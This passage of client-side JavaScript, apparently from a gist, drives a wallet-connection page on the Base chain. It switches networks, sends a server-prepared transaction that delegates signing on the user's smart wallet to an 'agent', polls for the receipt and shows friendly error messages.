els.diagOrigin.textContent = window.location.origin || "null";
els.diagErr.textContent = state.lastError || "—";
}
function describeEthFlavor() {
if (!window.ethereum) return "none";
const e = window.ethereum; const flags = [];
if (e.isRabby) flags.push("rabby");
if (e.isMetaMask) flags.push("metamask");
if (e.isCoinbaseWallet) flags.push("coinbase");
if (e.isBraveWallet) flags.push("brave");
if (Array.isArray(e.providers)) flags.push(`providers[${e.providers.length}]`);
return flags.length ? flags.join(",") : "unknown flavor";
}
function updateChips() {
els.chipWallet.textContent = state.address ? `wallet · ${shortAddr(state.address)}` : "wallet · not connected";
els.chipWallet.className = state.address ? "chip ok" : "chip";
if (state.chainId === BASE_CHAIN_ID) {
els.chipChain.textContent = "chain · base"; els.chipChain.className = "chip ok";
} else if (state.chainId) {
els.chipChain.textContent = `chain · ${state.chainId} · switch to base`; els.chipChain.className = "chip warn";
} else {
els.chipChain.textContent = "chain · unknown"; els.chipChain.className = "chip";
}
}
function updateStepState() {
els.step1.classList.toggle("done", !!state.address);
els.step2.classList.toggle("done", !!(state.cswAddress && state.preview && state.preview.alreadyOwner === false));
}
function updatePrimaryBtn() {
const btn = els.primaryBtn;
if (!state.address) { btn.textContent = "connect wallet"; btn.disabled = false; return; }
if (!state.cswAddress) { btn.textContent = "enter your smart wallet"; btn.disabled = true; return; }
if (state.previewLoading) { btn.textContent = "checking…"; btn.disabled = true; return; }
if (state.previewError) { btn.textContent = "try again"; btn.disabled = false; return; }
if (!state.preview) { btn.textContent = "continue"; btn.disabled = false; return; }
if (state.preview.alreadyOwner) { btn.textContent = "agent already hired ✓"; btn.disabled = true; return; }
if (state.chainId !== BASE_CHAIN_ID) { btn.textContent = "switch to base"; btn.disabled = false; return; }
if (state.txStatus === "pending") { btn.textContent = "signing…"; btn.disabled = true; return; }
if (state.txStatus === "confirmed") { btn.textContent = "open 4626.fun ↗"; btn.disabled = false; return; }
btn.textContent = "delegate signing"; btn.disabled = false;
}
function updateUi() { updateChips(); updateStepState(); updatePrimaryBtn(); renderDiagnostics(); }
// ─── Primary action handler ──────────────────────────────────────────
els.primaryBtn.addEventListener("click", onPrimaryClick);
async function onPrimaryClick() {
if (!state.address) return showPicker();
if (!state.cswAddress) return;
if (state.previewError) return runPreview();
if (!state.preview) return runPreview();
if (state.preview.alreadyOwner) return;
if (state.chainId !== BASE_CHAIN_ID) return switchToBase();
if (state.txStatus === "confirmed") { window.open(API_BASE, "_blank"); return; }
await sendInstallTx();
}
async function switchToBase() {
if (!state.activeProvider) return;
try {
await state.activeProvider.request({
method: "wallet_switchEthereumChain",
params: [{ chainId: BASE_CHAIN_HEX }],
});
state.chainId = BASE_CHAIN_ID; state.lastError = null;
} catch (err) { state.lastError = friendlyErr(err); renderDiagnostics(); }
updateUi();
}
async function sendInstallTx() {
const tx = state.preview && state.preview.txRequest;
if (!tx) return;
state.txStatus = "pending"; state.txHash = null; state.txError = null;
renderTx(); updateUi();
try {
const txHash = await state.activeProvider.request({
method: "eth_sendTransaction",
params: [{ from: state.address, to: tx.to, data: tx.data, value: tx.value }],
});
state.txHash = txHash;
renderTx(); pollForReceipt(txHash);
} catch (err) {
state.txStatus = "failed"; state.txError = friendlyErr(err);
state.lastError = state.txError;
renderTx(); renderDiagnostics(); updateUi();
}
}
async function pollForReceipt(hash) {
let attempts = 0;
while (attempts < 40) {
await new Promise((r) => setTimeout(r, 1500)); attempts += 1;
try {
const receipt = await state.activeProvider.request({
method: "eth_getTransactionReceipt", params: [hash],
});
if (receipt) {
state.txStatus = receipt.status === "0x1" ? "confirmed" : "failed";
if (receipt.status !== "0x1") state.txError = "reverted on-chain";
renderTx(); updateUi();
return;
}
} catch {}
}
state.txStatus = "pending (check basescan)"; renderTx();
}
function renderTx() {
if (!state.txStatus) { els.txPanel.classList.add("hidden"); return; }
els.txPanel.classList.remove("hidden");
els.txStatus.textContent = state.txError ? `${state.txStatus} · ${state.txError}` : state.txStatus;
if (state.txHash) {
const short = `${state.txHash.slice(0, 10)}${state.txHash.slice(-8)}`;
els.txHash.innerHTML = `<a href="https://basescan.org/tx/${state.txHash}" target="_blank" rel="noopener">${short}</a>`;
} else { els.txHash.textContent = "—"; }
}
function friendlyErr(e) {
if (!e) return "unknown error";
const msg = String(e.message || e.toString());
if (/user (rejected|denied)/i.test(msg)) return "signature rejected";
if (/insufficient funds/i.test(msg)) return "insufficient eth on base";
if (/unrecognized chain|chain.*not.*added/i.test(msg)) return "base not added — add it and retry";
if (/timed out|timeout/i.test(msg)) return "timed out — popup may be hidden or blocked";
if (/failed to fetch|network/i.test(msg)) return "network error — check connection";
return msg.slice(0, 220);
}
(function init() {
setupEip6963Discovery();
renderDiagnostics();
updateUi();
})();
</script>
</body>
</html>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment